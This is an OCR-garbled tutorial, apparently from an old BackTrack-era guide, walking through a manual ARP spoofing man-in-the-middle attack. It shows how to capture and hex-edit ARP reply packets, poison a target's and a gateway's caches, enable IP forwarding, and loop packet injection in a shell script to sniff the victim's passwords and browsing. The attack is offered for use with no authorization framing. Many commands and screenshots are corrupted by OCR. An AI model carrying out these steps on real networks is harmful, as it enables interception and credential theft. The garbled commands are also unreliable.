ARP Spoofing Tutorial

(the hard way)

The idea behind ARP spoofing is to trick a target computers ARP cache causing it to send all
the traffic through an attacking machine before returning back to the target computer. Sniffing the
network activity with wireshark while the attack is in progress allows you to view all the information
and content that the target computer is viewing. (i.e. passwords, account information, visited sites, etc.)
I suggest you read up on ARP spoofing more before continuing on with this manual method of ARP

spoofing.
This link gives a nice explanation on ARP, what it is and what it is used for.

http://www.oxid.it/downloads/apr-intro.swf

This entire tutorial is ran in Backtrack?2 stable release. It is available for download for free from
following link.

http://www.remote-exploit.org/backtrack download old.html

Getting an ARP reply packet:
The first step would be to capture a simple ARP reply packet to use as a template in creating a spoofed
ARP reply packet that we will be sending to the target computer.

1- A- Open wireshark and start sniffing. To do this in Backtrack2 simply type “wireshark,” into the run
box.

N |wireshark |+

# system:/media/sdgl

B- I suggest using the following settings for your network card while capturing to avoid confusion.



Wireshark: Capture Options

Capture

Interface: |eth0 -
IP address: 192.168.1.10, fe80::2c0:9fff:.fedf:3ecl

Link-layer header type: Ethermet| &

Capture packets in promiscuous mode

[] Limit each packet to |68 | bytes

il Capture Filter: | |

Capture File(s) Display Options

File: | [ Browse. .. Update list of packets in real time

[ use multiple files
1 Mext file every ll—ITl megabyre(s) | = Automatic scrolling in live capture
[] Next file every 1 -  minute(s) - Hide capture info dialog

[~] Ring buffer with 2 —| files
[] Stop capture after |1 —{ file(s)

Stop Capture ...

Name Resolution

[1 Enable MAC name resolution

1 ... after |-L |:| packet(s) [1 Enable network name resolution
N ... after |1 || megabyte(s)

i}

[ iEnable transport name resolution:

i}

1 ... after |_L |i| minute(s)

T nelp 2¢ Cancel | 2 start |

2- Ping a site, i.e. google.com, and wait for wireshark to capture an ARP reply. You should see the
packet that is highlighted in the picture below in wiresharks capture.

&) (Untitled) - Wireshark
File Edit View Go Capture Analyze Statistics Help

& & o FRx@8 Re»27F L HE aa@F wEEX B

[ Filter: || ﬂ <k Expression... | %@glear‘ o apply|
‘ No. . ‘Time | Source ‘ Destination |Pmtoco| | Info =
0o 0. of.2F 3a. TR TN Y: be & 2 - o ez
00: 1f:33: cd:39:3e 00: c0:9f:8f:3e:cl ARP 192.168.1.1 is at 00:1f:33:cd:39:3e L
SR Lo Lot s T —
4 0.023986 .168.1.10 Standard query response A 209.85.171.100 A 74.125.67.
5 0.024461 192.168.1.10 209.85.171. 100 ICMP Echo (ping) reguest
6 0.135883 209.85.171. 100 192.168.1. 10 ICMP Echo (ping) reply
7 0.136136 192.168.1.10 192.168.1. 1 DNS Standard query PTR 100.171.85.209.1in-addr.arpa
8 0.161043 192.168.1.1 192.168. 1. 10 DNS Standard query response PTR cg-in-fl00.google. com
9 1.023840 192.168.1.10 209.85.171. 100 ICMP Echo (ping) request
10 1.132106 209.85.171. 160 192.168.1. 10 ICMP Echo (ping) reply
11 1.132341 192.168.1.10 192.168.1.1 DNS Standard query PTR 100.171.85.209.1in-addr.arpa
12 1.157740 192.168.1.1 192.168. 1. 10 DNS Standard query response PTR cg-in-fl00.google. com
13 2.023900 192.168.1.10 209.85.171.100 ICMP Echo (pino) reauest =
K [2]

b Frame 2 (60 bytes on wire, 60 bytes captured)
b Ethernet II, Src: 00:1f:33:cd:39:3e (00:1f:33:cd:39:3e), Dst: 00:c0:9f:8F:3e:cl (00:c0:9f:8F:3e: cl)
b Address Resolution Protocol (reply)

BOE0 00 c@ 9f 8f 3e cl 00 1f 33 cd 39 3e 08 06 00 01 coaa=o0 3.9s000. =
0010 08 00 06 04 G0 02 00 1f 33 cd 39 3e @ a8 OL OL  ........ 3.9=....
0020 00 c@ 9f 8f 3e cl c@ a8 01 0a 00 00 GO 00 00 0O N
0030 00 00 00 0O 0O GO GO 0O @0 0O GG GO L. =

|/ File: "/tmp/etherxXXXKnz]Qz2" 5747 Bytes 00:00:58 P51 D: 51 M: 0 Drops: 0




3- With the packet shown above highlighted in wireshark, select “Frame 2,” from the second window
and “Export Selected Packet Bytes,” by right clicking open space in the third window.

{Untitled) - Wireshark

Fle Edit View Go Capture Analyze Statistics Help

S sl @

] B E x & & @cwﬁo?gléﬂ QA i EEX O
57 Eilter: || ﬂ <= Expression... | bglear| of apply|
| MNo. - |T|me | Source | Destination |Pmtocol| Info =
[cyclclelcec) 00:c0:9f:8F:3e: cl Ff:ff: ff: ff: Ff: Ff ARP Who has 192.168.1.17 Tell 192.168.1.10
2 0.000244 0@:1f:33: cd: 39: 3e 0Q: c@:9f:8f: 3e: cl ARP 192.168.1.1 is at @0:1f:33:cd:39: 3e
). BOB255 192.168. 1. 10 192.168.1. 1 DME Standard quer google. com =
4 0.023986 192.168.1.1 192.168.1. 10 DNS Standard query response A 209.85.171.100 A 74.125.67.
5 0.024461 192.168.1. 10 209.85.171. 100 IcMpP Echo (ping) request
6 @.135883 209.85.171. 160 192.168.1. 10 ICMP Echo (ping) reply
7 0.13613¢ 192.168. 1. 10 192.168. 1.1 DNS Standard query PTR 100.171.85.209.1in-addr.arpa
8 0.161043 192.168.1.1 192.168. 1. 10 DNS Standard query response PTR cg-in-fl@0.google. com
9 1.023840 192.168. 1. 10 209.85.171. 100 ICMP Echo (ping) request
10 1.132106 209.85.171. 100 192.168.1.10 ICMP Echo (ping) reply
11 1.132341 192.168. 1. 10 192.168. 1. 1 DME Standard guer PTR 100.171.85.209.in-addr.arpa
12 1.157740 192.168.1.1 192.168. 1. 10 DNS Standard query response PTR cg-in-fle@.google. com
13 2.023900 192.168.1.10 209.85.171. 100 ICMP Echo (pina) reauest ]

II, Src: 1T rcd: P 3e
b Address Resolution Protocol (reply)

00 00 00 e Een s

Right Click Here

rFrame (frame), 60 bytes JqP:51 D: 51 M: 0 Drops: 0

Editing the packet:

Now that we have a ARP reply packet to use as a template we can edit it in a hex editor to specify the
needs for our attack.

4- Open the saved ARP reply packet with the hex editor by typing the following command into the
terminal.

heedit -b'neameof the ARP 1ieply padet yousaved'
-b = buffers the entire file in memory, much faster, enables inserting and deleting

Shell - Konsole

hexedit -b arp_target]]

5- Before editing the packet we must obtain the target computer, attacking computer, and the gateway's
IP's and MAC address. In order to find this information we ping the target computer and gateway.
Observe the screen shot below and open up a text editor or the old fashion piece of paper to write down
the highlighted information for easy access later on.



Shell - Konsole =2>
bt ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seqg=1 ttl=64 time=4.70 ms
64 bytes from 192.168.1.1: icmp_ seq=2 ttl=64 time=0.349 ms

---192.168.1.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.349/2.527/4.706/2.179 ms
) ping 192.168.1.7
192 .168.1.7 (192.168.1.7) 56(84) bytes of data.
64 bytes from 192.168.1.7: icmp_seq=1 ttl=128 time=1.49 ms
64 bytes from 192.168.1.7: icmp_seq=2 ttl=128 time=0.198 ms

---192.168.1.7 ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 1001lms
rtt min/avg/max/mdev = 0.198/0.845/1.493/0.648 ms

1 S Fn A

7 (192.168.1.7) at 00:50:22:82:EB:59 [ether] on ethDd

7 (192 .168.1.1) at 00:1F:33:CD:39:3E [ether] on ethd

To find your attacking computer's IP and MAC address simply type the following command into the
terminal and record the IP and MAC address.

ifconfig
6- Now that we have the needed information we can edit our ARP reply packet. Go back to the hex

editor and wireshark and open them to where you can see the needed information comfortably like
pictured below. Also be sure to have the information recorded from step 5 handy and at the ready.



B (Untitled) - Wireshark
File Edit View Go Capture Analyze Statistics Help

BlEeea PH xS Re»og s [HE @& Wb H
[ Eilter: || ﬂ < Expression... | “@,Qlear| o apply|

No. . |Time | Source | Destination |Prutuc0| | Info

1 0.000000 00:cO:9f:8F:3e: cl FF:FF:fF:FF:FF: FF ARP Who has 192.168.1.17 Tell 192.168.1.10
2 0.000244 B0: 1f:33: cd: 39: 3e 00: cO:9f:8f:3e: cl ARP 192.168.1.1 is at 00:1f:33: cd: 39:3e

Bl | i

b Frame 2 (60 bytes on wire, 60 bytes captured)
~ Ethernet II, Src: 00:1f:33:cd:39:3e (00:1f:33:cd:39:3e),
+ Destination: 00:cB:97:8f:3e:cl (00:cB:9f:8f:3e:cl)
P Source: 00:1F:33:cd:39:3e (00:1f:33:cd:39:3e)
Type: ARP (0x0806)
Trailer: @ [Jelcle]
< Address Resolution Protocol (reply)
Hardware type: Ethernet (GxG00L)
Protocol type: IP (0xG800)
(ele]ele] cB 9f Bf 3e 33 cd 39 3e 08 06 00 OL
Do1e D0 06 04 00 02 00 1f 33 cd 39 3e c® a8 0L BL  ........ 3.9>. ...
0e20 00 cO 9f 8f 3e cl c@ a8 0Ol Ga 00 00 00 G0 G0 00 R
0030 00 QO GO 00 QO 00 0O 00 QO @GP GO L

Dst: 00:c0:9f:8f:3e:cl (00:c@:9f:8f:3e:cl)

51 M: 0 Drops: 0

Destination Hardware Address (eth.dst), 6 bytes

) i ell - > =
ASCII Offset: Ox00000000 / OxO000003B (%00)

0 3F 11 g

7- The first fields that need to be edited are the “Destination” and “Source” MAC address's. This
information is displayed in the second window in wireshark under the “Ethernet II,” drop down while
the ARP reply packet is highlighted from the first window. For our attack the destination will be the
target computer's MAC address and the source will be our attacking computer's MAC address. Clicking
on the fields in wireshark will highlight the corresponding information given in hex by the packet in the
third window. All of this information is also shown in the picture above.

8- Now that you can see where the destination MAC address is in the hex editor you change it to the
target computer's MAC address. The changes will be colored in a sky blue color.
[][5] Shell - Konsole
File: arp taraet ASCII Offset -
Y 00 50 27 8 L 50 [0 33 D 39 3E __ : _

9- Select the “Source,” field in wireshark to see where it is located in your hex editor. Change that to
your attacking computer's MAC address.



Shell - Konsole ]
ASCTT I"H’*’-mt E)xE)E)E)BBE)E)E /! BxBBBBBBBB (%10) Mk

10- The next fields that we need to edit are located in the “Address Resolution Protocol (reply),” drop

down in the second window of wireshark.
(Untitled) - Wireshark

Fle Edit View Go Capture Analyze Statistics Help
= & e EEx®@E Qe 0F L [EE QQQ | H¥HE
E]Eh:er: || ﬂ 4k Expression... ‘ Q@,;glear‘ of ﬂpply‘

No. . |Time ‘Source ‘ Destination ‘Pmtccol ‘ Info

1 0.000000 00:c0:9f:8f:3e:cl fRffff ffff: ff ARP Who has 192.168.1.17 Tell 192.168.1.10
2 0.000244 00:1f:33: cd:39:3e 00:c0:9f:8f:3e:cl ARP 192.168.1.1 is at 00:1f:33:cd:39:3e

4
P Frame 2 (60 bytes on wire, 60 bytes captured}

Protocol type: IP (0x0800)
Hardware size: 6

Protocol size: 4

Opcode: reply (0x0002)
Sender MAC address: 00:1f:33:cd:39:3e (00:1f:33:cd:39:3e) =]

0OE0 00 c® 9f 8f 3e cl 60 1f 33 cd 39 3e 08 06 (LM
clcpI:IO8 00 06 04 00 62 60 1f 33 cd 39 3e cO a8 OL O
Clcp{cE0 cO 9f 8f 3e cl cl a8 01 OajciclcRclcaclcaNcltaN¢]]
0030 00 00 00 0O 0O GO G0 B0 GO 00 0O 00

|pddress Resolution Protocol {arp), 28 bytes { P: 51 D: 51 M: 0 Drops: 0

11- We need to change the “Sender MAC address,” to our attacking computer's MAC address in the hex
editor.
' Shell - Konsole
ASCITI Offset: E)xE)E)E)E)E)E)lC / E)xE)E)E)E)E)EBB (%4?)
aF ’RF 3F (1
9F 8F 3E C1

12- We now need to change the “Target MAC address,” to our target computer's MAC address.




[z Shell - Konsole

File: arp target ASCII Offset: BxBBBBBME / BKBBBBBBBB (%64}
00 50 } 59 00 C@ 9F 8F 3E ' g
AR AN AR AA AR A2 A0 CO 9F 8F 3F

00 50 22 82

13- We now need to change the “Target IP address,” to the target computer's IP address. However we
are now dealing with numeric values of the IP instead of the hex code of the MAC address's. You can
see that the target IP address of the packet is directly after the target MAC address field in the hex
editor.

@ (Untitled) - Wireshark
Fle Edit View Go Capture Analyze Statistics Help

BEsee cl @8 Re»s»FTEEE QQRAR @Y
[ Fiter: || j %+ Expression...‘ ‘@Qlear‘ o App\y‘

No. . ‘Time |Source | Destination |Protoco| | Info

10.000000 00:c0:9f:8f:3e:cl froff:ff:ff:ff: ff ARP Who has 192.168.1.17 Tell 192.168.1.10
2 0.000244  00:1f:33:cd:39:3e 00:c0:9f:8f:3e:cl ARP 192.168. 1.1 is at 00:1f:33:cd:39:3e

Hardware type: Ethernet (0x0001)

Protocol type: IP (0x0800)

Hardware size: 6

Protocol size: 4

Opcode: reply (0x0002)

Sender MAC address: 00:1f:33:cd:39:3e (00:1f:33:cd:39:3e)
Sender IP address: 192.168.1.1 (192.168.1.1)

Target MAC address: 00:c0:9f:8f:3e:cl (G0: cO:9f:8f:3e:cl)
Target IP address: 192.168.1.10 (192.168.1.10)

0000 00 cO 9f 8f 3e cl 00 Lf 33 cd 39 3e 08 06 00 OL
0610 08 00 06 04 00 62 00 1f 33 cd 39 3e cO a8 OL OL ........ 3.9>....

0620 00 c0 9f 8f 3e c1 [ENEEHNEMEE €0 60 60 60 60 60 ... NN ...

0030 00 00 0O 0O 0G0 GO0 GG 60 0O 00 GO GO Lo L

|Target IP address (arp.dst.proto_ipv4), 4 bytes : 51 D: 51 M: 0 Drops: 0

ASCII 0ffset: 8x00080026 / 0xB000003B (%64)
9F 8F 3E C: 5 Y

Observing the highlighted field in the above picture you can see that “C0O A8 01 0A” is hex for



“192.168.1.10.” Now knowing this the only value we must change is the last field of the IP address.

In order to find the hex value of the target computer's IP you can use the built in “Galculator,” to
convert it. It is located in the “Utilities,” tab of the KDE start menu. Change the view to scientific and
input the last field of the target computer's IP address.

galculator

Fle Edit Wiew Calculator Help

DEC RAD ALG Q ﬂ

con~v| fun v | EE | s | e | ] )y | mse| mR| ms~|
%o | XY | n! | AND | | 7 | 8 | 9 | ! | MOD |
inv | x~2 | sat | or | o | a | 5 | 6 | * | isu]
hyp | log | In | XOR | E | 1 | 7 | 3 | |
sin | cos | tan | CMP | 7 | 0 | | +/- | + | B I

Now all you need to do is click the greyed “HEX” area in the Galculator. This will convert your
numeric value to hex.

File Edit View Calculator Help

con ™ | fun = | EE | A | B | ( | | | MS * | MR > | M4+ > |
% | x| m | awmo | e | 7| 8| o | s | mop]
v | x2 | sat | or | o | a4 | s | & | * | isH]
hyp | log | m | xor | e | 2| 2| 3| - |
in | Cos | tan | cCMP | F | 0 | : | +/ | + | B

Now that you have the last field of the target computer's IP address in hex you can input it into the hex
editor.



Shell - Konsole

oarp target ASCII Offset: Ox0000002A / 0x0000003B (%71)
)00 00 50 22 82 3 59 00 CO 9F 8F 3E C1 ©8 06 00 01 >
08 00 © ) 4 00 02 0 QF R2E_3E C1 CB A8 01 01
00 50 22 82 3 50 A3 Bl 07 @0 e 00 660 OO 66

GGGGGG;G 00 GO 00 GO 00 00 00 00 00 vy 00 B0

14- We can now save this packet and test it. Save the packet and in the terminal type the following
command.

fil2eble-i dhD-f ap taget

-1 = network card interface
-f = file of packet (in this case arp_target)

Execute the command twice for safe measure. If you now go into the target computer and view its ARP
cache you will see that the gateway and the attacking computer have the same physical address. If you
constructed the packet correctly you should see something similar to the picture below on the target
computer.

e+ Command Prompk

Reply from 192 _168.1.108: byte=z=32 time<im=z TTL=64
Reply from 1922.168.1.108: bytes=32 time<imsz TIL=64
Reply from 192.168.1.18: hytes=32 time<ims TTL=64

Ping statistics for 172.168.1.18:

Packets: Sent = 3. Received = 3. Lost = B <Bx loss>.
Approximate round trip times in milli—seconds:

Minimum = Bm=z=, Maximum = Bmz,. Average = Oms=
Control-C
i

C:Documents and Settingsz“Adminisztrator>arp

Interface: 192.168.1.7 —— Bx1860683
Internet Address Phyzical Addre=zs Tupe
1922.168.1.1 AR—1f—-33—cd—39-3e dynamic
1?22.168.1.18 AA—cB—2f-8f—3Je—cil dynamic

C=~Documents and Settings“~Administratorarp —a

Interface: 192.168.1.7 —— Bx1868683
Internet Address Phyzical Addre=zs Tupe
1?2.168.1.1 A8—cB—92f—-8f—-3e——cl dynamic
1?72.168.1.18 BA—cB—2f-8f—3e——cil dynamic

LisDocuments and bSettingssAdministrator?

15- The next step will be to create our spoofed gateway packet. We can copy our packet we made for
the target computer and use it as a template for building this gateway packet by typing the following
command into the terminal.



Qap_tagetap gEeney

arp_target was the name of the packet we first created and we copied it to a new file with the
name arp_gateway

16- Open the newly created arp_gateway packet with the hex editor.

hoedit -bap caleney

-b = buffers the entire file in memory, much faster, enables inserting and deleting

17- First we will change the destination field to the gateway's MAC address.

Shell - Konsole
ASCII Offset:
[o] 8F 3 C 0

18- Next we change the source field to our attacking computer's MAC address, but luckily for us it is
already filed in correctly from inputing it in our arp_target packet.

19- We will now edit the sender MAC address field to be our attacking computer's MAC address, once
again lucky for us it is already filled in correctly from our previous packet.

20- The sender IP address if the field we want to spoof, so we enter in the IP of the target computer in
this field.
BE Shell - Konsole

ASCII Offset:
OF 8F 3E C1 .0

21- We now want to change the target MAC address field to the attacking computer's MAC address.



Shell - Konsole

22- Next we want to change the target IP address field to the gateway's IP address.

[Z] nell - Konsole
i ASCII Offset: OxO000002A / OxO0000003B (%71)
e (1 08 06 00 0 o

23- Now that we finally have our packets constructed we can almost commence our attack. However
for the spoof to be executed correctly IP forwarding must be enabled on our attacking machine. Not
doing so will result in a Denial of Service attack on the target computer. We do this by typing the
following command into the terminal.

ado> 1 /rocsysinet/pd/ip_fovwed

Placing the value 1 in the above file enables IP forwarding, allowing our computer to... forward
IPs :P

24- Since the method used in step 14 is only temporary we will create a script that sends our created
packets over the network every two seconds. Create a new file called attack.sh and open it in nano. We
can do this by typing the following command into the terminal.

reroatiadksh

creates a new file named attack.sh and opens it in nano



25- Enter in the following code in this file in order to create our looping script.
#jinkech
while[ 1]do

filk2cble-i dh0-f ap target
fils2chle-i dh0-f ap galewey
sbp?2

dore

this loops the file2cable commands every 2 seconds until it is stopped

26- Save the the attack.sh script and give it executable permissions by typing the following command
into the terminal.

dnod 755 attadksh

gives the file attack.sh executable permissions

By creating this script and giving it executable permissions, when ran it will keep sending our packets
through the network every two seconds not allowing the target computer's ARP cache to recover.

27- SO! we have successfully created our packets and a script to loop those packets. If we run this
script by entering the following command into the terminal our attack will commence.

Jattadksh

executes the attack.sh script



28- If all of the above steps went smoothly we should be able to launch our attack script, start up our
sniffer, and watch as we capture the traffic that our target computer is receiving. :) You should see
something similar to the image below in wiresharks capture.

(Untitled) - Wireshark

Fle Edit View Go Capture Analyze 5Statistics Help

= & @ FEx®3 Res»F e EE Qaafl @¥HE X ©

85 53.551018 00:c0:9f:8f:3e:cl 00:50:22:82:eb:59 ARP 192.168. 1.1 is at 00:c0:9f:8f:3e:cl

86 53.563948 00:c0:9f:8f:3e:cl 00: cO:9f:8f: 3e: cl ARP 192.168. 1.7 is at 00:c0:9f:8f:3e:cl

87 54.683404 192.168.1.7 64.233.169. 104 TCP 1048 > 80 [SYN] Seg=0 Len=0 MSS=1460

88 55.583284 00:c0:9f:8f:3e:cl 00:50:22:82:eb:59 ARP 192.168.1.1 is at 00:cB:9f:8f:3e:cl

89 55.623108 00:c0:9f:8f:3e:cl 00: cO:9f:8f: 3e: cl ARP 192.168. 1.7 is at 00:c0:9f:8f:3e:cl

90 57.643369 00:c0:97:8f:3e:cl 00:50:22:82:eb:59 ARP 192.168.1.1 1s at 00:c0:9f:8f:3e:cl

91 57.683515 00:c0:9f:8f:3e:cl 00:c0:9f:8f:3e: cl ARP 192.168.1.7 is at 00:cB:9f:8f:3e:cl

92 59.703307 00:c0:9f:8f:3e:cl 00:50:22:82:eb:59 ARP 192.168. 1.1 is at 00:c0:9f:8f:3e:cl

93 59.759384 00:c0:9f:8f:3e:cl 00: cO:9f:8f: 3e: cl ARP 192.168. 1.7 is at 00:c0:9f:8f:3e:cl
50. 850730 92.168. 1.7 64. . 1047 > 80 [RST, ACK] Seq=375 Ack=0 Win=0 Len=0
60.852570 92.168. 1.7 C 1046 = 80 [RST, (] Seq=0 Ack=0 Win=0 Len=0

Standard query A aol.

97 60.876528 92.168. 1.7 209.85.171. 100 1046 > 80 [RST] Seqg=0 Len=0

98 61.787479 00:c0:9f:8f:3e:cl 00:50:22:82:eb:59 ARP 192.168. 1.1 is at 00:c0:9f:8f:3e:cl

99 61.831820 00:c0:9f:8f:3e:cl 00: cO:9f:8f: 3e: cl ARP 192.168. 1.7 is at 00:c0:9f:8f:3e:cl

100 61.853667 192.168.1.7 192.168.1.1 DNS Standard query A aol.com

101 62.855072 192.168.1.7 192.168.1.1 DNS Standard query A aol.com

162 63.851752 00:c0:9f:8f:3e:cl 00:50:22:82:eb:59 ARP 192.168. 1.1 is at 00:c0:9f:8f:3e:cl

103 63.891524 00:c0:9f:8f:3e:cl 00:c0:9f:8f:3e: cl ARP 192.168.1.7 is at 00:cB:9f:8f:3e:cl

& b

el el el

[ Filter: || ﬂ < Expression... ‘ Q:&,glear‘ o apply‘
Iho. . |Time | Source | Destination |Pmtoco| | Info | 2l
83 51.972178 192.168.1.7 209.85.171. 100 TCP [TCP Dup ACK 52#5] 1046 = 80 [ACK] Seg=0 Ack=0 Win=65C
84 52.881266 192.168.1.7 64.233.169. 104 HTTP [TCP Retransmission] GET /intl/en_ALL/images/logo.gif

b Frame 121 (60 bytes on wire, 60 bytes captured)
b Ethernet II, Src: 00:cB:9f:8f:3e:cl (00:c0:9f:8f:3e:cl), Dst: 00:50:22:82:eb:59 (00:50:22:82:eb:59)
b Address Resolution Protocol (reply)

DOEG 00 50 22 82 eb 59 00 c@ 9f 8f 3e cl 68 06 60 OL .P"..Y.. .
00l0 08 00 06 04 00 02 00 c@ 9f 8f 3e cl c@ a8 0L 0L  ........ P
0020 00 50 22 82 eb 59 cO a8 0L 067 GO0 00 00 00 00 0O P i
0030 00 00 0O 0O 00 0O GO GO 00 00 GO GO Lo

[/ File: "/tmp/etherxxXxfwd)ZD" 17 KB 00:01:31 P: 142 D: 142 M: 0 Drops: 0




